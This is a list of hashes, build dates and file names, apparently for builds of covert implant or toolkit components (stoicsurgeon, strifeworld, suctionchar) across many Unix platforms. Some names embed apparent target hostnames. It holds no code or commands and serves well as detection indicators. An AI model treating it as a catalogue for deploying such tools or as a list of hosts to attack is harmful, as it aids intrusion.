[PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.11_x86-linux-centos-5.5 +BDA500879DDAF85E838B04ECB08B70477CAFB14C Tue Dec 7 00:00:31 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.3_sparc-sun-solaris2.9 +8B54DC6E08B0F579677BF26017DEBFDD54815935 Mon Dec 6 20:25:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.5_x86-linux-redstar-1.1 +5FEC232E4748B0B0A197174B63852D918515D338 Mon Dec 6 20:54:26 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.6_x86-linux-optimusprime-vezarat.dolat.ir +F5A8029CA9EDEAD2A068BCFC927136D066F7C7C5 Mon Dec 6 21:40:05 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.7_x86-linux-centos-5.5 +D6B1D1237458CD0E94B8D5E9E57A41840D1D1441 Thu Dec 9 22:21:07 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.9_x86-linux-slackware-13.0-switchdown_warkitten +D4A42BAD502E05DA64C44601C54992EA81716DFD Mon Dec 13 16:57:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.13.1_sparc-sun-solaris2.10 +8F419297E785E81C5BE3FC73D4FE82049D85EC0D Wed Dec 15 15:39:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.13.4_x86-linux-ubuntu-5.10 +01BD5ED4F1922AA0A80A1AAC12870D46758F20B8 Fri Dec 17 15:30:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.1_x86_64-freebsd-potbed-greencache4 +765B25DFCC3261FA733437E731EAC93A088FC26E Wed Dec 29 23:10:57 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.2_x86-linux-centos-5.5 +01BD5ED4F1922AA0A80A1AAC12870D46758F20B8 Fri Dec 17 15:30:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.3_x86_64-freebsd-potbed-cache55 +01BD5ED4F1922AA0A80A1AAC12870D46758F20B8 Fri Dec 17 15:30:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.5_x86_64-freebsd-7.2 +CC985AC80CCF390485953A78BD06C722E2E8D076 Tue Dec 21 19:21:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.6_x86-freebsd-7.2 +765B25DFCC3261FA733437E731EAC93A088FC26E Wed Dec 29 23:10:57 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.7_x86-linux-redhat-7-1-tilttop +4D0112D25474844322DCDE979A959B8CC77C9C9E Thu Dec 30 20:51:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.8_x86-linux-debian-3.1-darkscrew +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.1_x86-junos-10.0 +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.2_x86-junos-10.1 +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.3_x86-junos-10.2 +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.4_x86-junos-10.3 +44D0AEF0E39137AA2D85C2A1D2B752E116E7723C Fri Jan 7 23:31:44 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.16.1_x86-linux-ubuntu-8.04 +D5C300B1A71F81CBD3E76180E1BF6307F86AAEB8 Tue Jan 18 17:04:26 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.16.2_x86-linux-suse-enterprise-10.1 +1C9DDA14F267B2CA863D37FA70F5FEE165458991 Thu Jan 20 19:17:44 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.16.4_x86-linux-debian-5.0 +56514DBE745C2CE3796F37DC9B72BD27902EF355 Mon Jan 24 19:51:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.17.1_x86-linux-slackware-10.2-vinifera +17FB28CCE8DC8E6EA9075CCCE1A1EEBDE40B195A Thu Jan 27 19:04:36 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.17.3_x86-linux-redhat-9.0-optimusprime +BF5FA4C3BE0842DA5456D9A227281A68107818FA Thu Feb 3 17:52:47 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.18.1_x86_64-freebsd-potbed-cache55 +261458F4AE70DAFB1F9EE51C5560572D45A03D2D Tue Feb 15 20:39:09 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.18.2_x86_64-linux-redhat-enterprise-5.5 +50E2298928C142913341E2EFFF6C3201DE369178 Wed Feb 23 16:43:14 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.19.1_x86_64-linux-centos-5.5 +EB1FE33BA791A9F85C601AC467D0AE0440ADF88B Thu Feb 24 19:03:07 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.19.2_x86-freebsd-6.3 +62D420C46E217E6066B4E465D601BB860346BB1F Thu May 19 20:36:49 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.19.4_x86-linux-debian-4.0 +285D617537AB9C72AF604F69DE2926AD585FA091 Wed Apr 27 22:57:43 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.2_x86-linux-centos-5.5 +9901FA89B3F6B52AC56CE62EDABA3BE50E0776F3 Sat Mar 26 05:20:50 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.5_x86-linux-redhat-enterprise-5.1 +71A0AC87F1B83D310D843CB2D980E36036C0337F Tue Mar 29 15:04:22 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.6_x86-linux-slackware-10.0 +285D617537AB9C72AF604F69DE2926AD585FA091 Wed Apr 27 22:57:43 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.7_x86-linux-redhat-enterprise-5.3 +28BB2C0BC2B951A8C84E1B8AD98959591A594E6A Mon Sep 27 14:21:54 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.3.1_x86-linux-acridmini-sg +3FABCB5061DCC499439CBF1A98475CE398ECFC80 Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.1_x86-linux-redhat-enterprise-4.0 +3FABCB5061DCC499439CBF1A98475CE398ECFC80 Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.3_x86-linux-redstar-1.1 +3FABCB5061DCC499439CBF1A98475CE398ECFC80 Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.4_x86-linux-suse-11.0 +1640CE0B4BEE8912A39BCBAADA39E619F31B61C9 Tue Oct 5 14:40:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.5_x86_64-linux-suse-enterprise-10.2 +A8583CA75FC4EA81E174B2DBF0E871405861129B Fri Oct 1 14:45:36 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.5.1_x86-linux-waxstart-17331hd51071.ikoula.com +3169CD814778524A56978EE79C4E3DA456812443 Wed Oct 6 20:34:30 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.6.2_x86-linux-fedora13 +94BD6F090CFDA37B5B06B92F327440CEF0145A07 Fri Oct 8 16:51:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.7.1_x86_64-linux-centos-5.5 +DA64000A1B64CCDEBDAEFF27D7D6ACE66641BFEE Wed Oct 13 20:51:39 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.7.2_x86-linux-debian-4.0 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.1_x86-junos-8.5 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.2_x86-junos-9.0 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.3_x86-junos-9.1 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.4_x86-junos-9.2 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.6_x86-junos-9.4 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.7_x86-junos-9.5 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.8_x86-junos-9.6 +5F82380607C1F741CCC2F954EA02CD8A16F80633 Wed Oct 20 21:03:52 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.9_x86-linux-redhat-enterprise-4.0 +9635B7AA441B879EE8A7CF9A687D882803B91347 Fri Nov 5 03:45:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.9.5_x86-linux-slackware-12.2 +E56E3C6AFE512B2932DBB0F9D13CDE3DA97D9F0D Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.9.6_x86-linux-acridmini-sg +D541120A96D1EB33D06BE8B1FA5A5E8040001676 Mon Apr 25 12:38:32 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.0.2_sparc-sun-solaris2.10 +FFA0D35DEAA93BE0A12F7079A24BECEEDE2D5479 Wed Apr 27 16:27:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.0.3_sparc-sun-solaris2.8 +644297B8207994A96273CAA4C3A7A1780B802CEF Mon May 2 14:45:23 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.0.4_sparc-sun-solaris2.9 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.10_x86-linux-fedora9 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.12_x86-linux-fedora8-acridmini +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.13_x86_64-linux-centos-5.6 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.14_x86-linux-redhat-enterprise-5.6 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.15_x86_64-linux-centos-5.5 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.16_x86_64-linux-centos-4.2 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.17_x86_64-linux-redhat-enterprise-4.0 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.1_x86_64-linux-scientific-5.5 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.2_x86_64-linux-redhat-enterprise-5.1 +5A68EEBE1E1BACF552EF8AE504A138972A43FAD0 Wed Apr 27 19:31:07 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.3_x86-freebsd-5.3 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.4_x86-linux-redhat-enterprise-5.3 +FC914F9830AD0CF670268A561C7F3A661CB8007F Thu Apr 28 13:40:30 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.5_x86_64-freebsd-7.2-potbed +5A68EEBE1E1BACF552EF8AE504A138972A43FAD0 Wed Apr 27 19:31:07 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.6_x86-freebsd-5.3-sassyninja +71617EF03A7200A2FF3DD3C4152D41C9C67BBA5B Thu Apr 28 18:57:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.7_x86-freebsd-7.4-switchdown_surf_sr +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.8_x86-linux-fedora7 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.9_x86-linux-suse-11.0 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.1_x86-linux-ubuntu-10.04 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.2_x86_64-linux-suse-enterprise-11.0 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.5_x86-linux-centos-4.7 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.8_x86-linux-redhat-enterprise-4.2 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.3.1_x86-linux-fedora8-acridmini +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.3.2_x86-linux-redhat-enterprise-5.4 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.4.1_x86-linux-slackware-12.2-mentalbolt_e +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.10_x86-linux-centos-5.6 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.1_x86_64-linux-redhat-enterprise-4.5 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.2_x86_64-linux-centos-4.7 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.4_x86-linux-redhat-enterprise-5.3 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.6_x86-linux-clearos-5 +71617EF03A7200A2FF3DD3C4152D41C9C67BBA5B Thu Apr 28 18:57:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.7_x86-freebsd-7.4 +B3A204B757EDE232AD03491248A55C09AF4DD35A Tue Jun 28 16:06:20 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.1_x86-freebsd-6.2-deign_pi +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.2_x86-linux-fedora12 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.3_x86_64-linux-centos-5.6 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.5_x86-linux-redhat-7.1-tilttop +C514AF36F3D6FD1CBF626CA08BC71F7B15AEEF5C Fri Jul 15 13:50:00 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.7.1_sparc-sun-solaris2.10 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.7.3_x86-linux-centos-5.6 +AD3997957D4BF220CE2FF38ACC628D8E23377B0E Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-i386-pc-solaris2.6_v.1.0.0.3 +4EE361F0FFEAE3DC4A5467789CF7CED054401613 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-i386-unknown-freebsd7.2_v.1.0.0.3 +7CB367B7D0CB60088C4A46F565CEFCA771575932 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-i686-pc-linux-2.6-gnu_v.1.0.0.3 +D6AA5EC24D2EAF2CE54764F3017C81ECBD426112 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-sparc-sun-solaris2.6_v.1.0.0.3 +C55A3862613021083C28CB6C0220D0613892F0A2 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-x86_64-unknown-linux-2.6-gnu_v.1.0.0.3 +BB571869B0B734423717A0B7A14BA7D50809A4B2 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.old.i586-pc-linux-gnu +BB571869B0B734423717A0B7A14BA7D50809A4B2 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.old.i686-pc-linux-gnu +5229B6E2800C84655052F24D1ADC8BE1B49BD38A Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.slack36.i586-pc-linux-gnu +5229B6E2800C84655052F24D1ADC8BE1B49BD38A Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.slack36.i686-pc-linux-gnu +5FDF9FAAE3A7634D34E5502D461794120741FAEE Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-pc-solaris2.6 +5FDF9FAAE3A7634D34E5502D461794120741FAEE Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-pc-solaris2.8 +3A00F4E09DB6BA695CCEF0CB146578192A86F43B Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-unknown-freebsd3.3 +5B9E88E751B7870C1F89E08E5F2A245037E517F7 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-unknown-freebsd4.0 +5B9E88E751B7870C1F89E08E5F2A245037E517F7 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-unknown-freebsd4.4 +907521E449E25595CC74271D3EDC928C3A181CEC Thu Feb 14 00:00:42 2008 [PITCHIMPAIR.12] strifeworld.i686-pc-linux-gnu +BE62777DAFD7EAFCDBC64672C25C8224D8B9B16D Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-sun-solaris2.5.1 +E64594DF3EE85809409DCA7AF0250FA5240629D5 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-sun-solaris2.6 +E64594DF3EE85809409DCA7AF0250FA5240629D5 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-sun-solaris2.9 +2D727C23D659D3FC22CF6C466C7ABCC401AEC4E5 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-unknown-linux-gnu +CBAFC69B15DCA64EBD6955041F3DDF04AC5E666B Wed Jan 6 00:24:29 2010 [PITCHIMPAIR.12] suctionchar_agent__v__1.5.17.7_x86-linux-centos-5.4 +5324058C0B5D76941D83E1CAAA177E34C7AA1AAB Mon Jul 9 16:57:39 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.10.1_x86-linux-mandriva-2006 +17A02A77E2F46EF04B084D49488D9F30E772632D Wed Jul 25 16:24:00 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.10.4_x86-linux-redhat-enterprise-4.0 +47D8B181E9CA8E51064784E6EED31A2DE5914398 Wed Aug 8 21:25:38 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.11.2_x86-linux-redhat-enterprise-3.0 +47D8B181E9CA8E51064784E6EED31A2DE5914398 Wed Aug 8 21:25:38 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.11.3_x86-linux-slackware-10.2 +565D160AF1C96F37846FD68CC0AF7B23A1CCBD9A Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.12.1_sparc-sun-solaris2.7 +2583037B2CF2957E62AC7A423786469124E3DD3F Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.13.1_x86-linux-fedora5 +2583037B2CF2957E62AC7A423786469124E3DD3F Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.13.2_x86-linux-fedora6 +2583037B2CF2957E62AC7A423786469124E3DD3F Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.13.4_x86-linux-redhat-7.3 +3D42A44B2F69BA70D238BA0EBB6272E81C142403 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.17.1_x86-linux-suse-8.2 +3D42A44B2F69BA70D238BA0EBB6272E81C142403 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.17.3_x86-linux-suse-10.0 +3D42A44B2F69BA70D238BA0EBB6272E81C142403 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.17.4_x86-linux-tilttop-gate.nto +6E13B5EFAEDE0C4A5A719AD41217AEA4E49BB216 Tue Dec 18 20:46:17 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.18.1_x86-freebsd-6.2 +B16C22F2DD68A8B499926B1D33DBB76E69E64C45 Thu Feb 7 23:21:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.22.1_x86-linux-fedora7 +7AEA08BB7ADCF83A0CA03E643BEBEBCD5CD397FC Thu Feb 21 22:52:24 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.23.4_sparc-sun-solaris2.9 +7AEA08BB7ADCF83A0CA03E643BEBEBCD5CD397FC Thu Feb 21 22:52:24 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.23.5_sparc-sun-solaris2.10 +3A2E2C6F1DA743D825D322C8015305D8A803E403 Tue Mar 4 17:03:35 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.24.6_x86-linux-fedora4 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.11_i386-pc-solaris2.8 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.12_i386-pc-solaris2.9 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.13_i386-pc-solaris2.10 +3D0AB6BE312183915F4620498CB348F48C0F867F Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.14_x86-linux-fedora4 +3D0AB6BE312183915F4620498CB348F48C0F867F Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.15_x86-linux-redhat-7.3 +3D0AB6BE312183915F4620498CB348F48C0F867F Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.16_x86-linux-mandrake-9.2 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.17_x86-linux-centos-5.0 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.18_x86-linux-tilttop-comet.vniitf.ru +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.19_x86-linux-debian-3.0 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.1_x86-linux-fedora7 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.22_sparc-sun-solaris2.10 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.23_sparc-sun-solaris2.9 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.24_i386-pc-solaris2.9 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.25_sparc-sun-solaris2.10 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.26_i386-pc-solaris2.10 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.27_x86-linux-slackware-10.0 +D214EDE2389FDB1EFD2F5715AC2745E02F3AC289 Mon Mar 24 19:47:42 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.2_x86-freebsd-5.3 +0F0242EDD78728F21CCA493C058AC45105D2B989 Mon Mar 24 20:29:40 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.4_x86-freebsd-6.0 +F7675E8A7F7E4323272DDAA670EECE16752AC2A8 Mon Mar 24 21:30:12 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.5_x86-freebsd-6.1 +A93C7EB17047AAC09C0D91FEB1575EF0F714B3A9 Mon Mar 24 21:46:45 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.6_x86-freebsd-6.2 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.8_sparc-sun-solaris2.8 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.9_sparc-sun-solaris2.9 +C35B8AE77DAFE3AA9B4E99CCB4EC5B92DD7D9520 Fri Apr 18 00:39:06 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.28.1_x86-freebsd-5.5 +F44218F45595D25E521D2D654A90DD443ED5A25B Wed Jul 16 21:34:44 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.28.2_x86-linux-centos-5.1 +AD45448C1C91DE2AF189FBD210313DD70D8D35B8 Fri Jul 25 18:12:39 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.28.5_x86-linux-fedora1 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.1_x86-linux-debian-4.0 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.2_x86-linux-tilttop-ns-vega.int.ru +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.4_x86-linux-fedora7 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.5_x86-linux-centos-4.5 